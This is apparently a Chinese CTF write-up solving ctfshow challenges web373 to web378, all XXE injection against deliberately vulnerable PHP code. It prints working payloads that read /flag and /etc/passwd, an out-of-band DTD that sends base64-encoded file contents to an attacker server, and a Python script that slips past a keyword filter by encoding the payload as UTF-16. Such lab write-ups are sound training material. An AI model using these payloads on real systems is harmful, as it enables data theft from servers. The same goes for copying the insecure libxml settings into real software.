web373

源码

<?php

error_reporting(0);
// 允许加载外部实体
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    

payload

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<creds>
<ctfshow>
&xxe;
</ctfshow>
</creds>

这里发现version后随便加数字也行,第二层标签也不是必须是creds。

<?xml version="1.012313"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<fff>
<ctfshow>
&xxe;
</ctfshow>
</fff>

web374

源码

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

服务器端无回显
参考文章https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-exfiltrate-data-out-of-band

自己服务器端malicious.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://ip:9000/?x=%file;'>">
%eval;
%exfiltrate;

这里因为读的文件内有换行符,不会触发http。
可以使用php伪协议,将数据转为base64

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://ip:9000/?x=%file;'>">
%eval;
%exfiltrate;

使用python的http.server布置

python3 -m http.server 9000

payload

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://ip:9000/malicious.dtd">
%remote;
]>

web375

源码

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

同上,将版本改为1.1即可。

web376

源码

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);   

同上

web377

源码

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__); 

这里过滤了http,使用utf-16编码绕过

import requests
url = 'http://66634293-0716-44a3-b08b-48e97c715caa.challenge.ctf.show'

data = '''<?xml version="1.1"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://ip:9000/malicious.dtd">
%remote;
]>'''

proxies = {
  'http': 'http://127.0.0.1:8080',
}
//设置burp代理,查看详细数据包
print(data.encode('utf-16'))

r= requests.post(url=url,data=data.encode("utf-16"),proxies=proxies)
print(r.text)

web378

一个登录框,抓包发现上传数据为xml格式,且会回显用户名。

payload

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<user><username>&xxe;</username><password>333</password></user>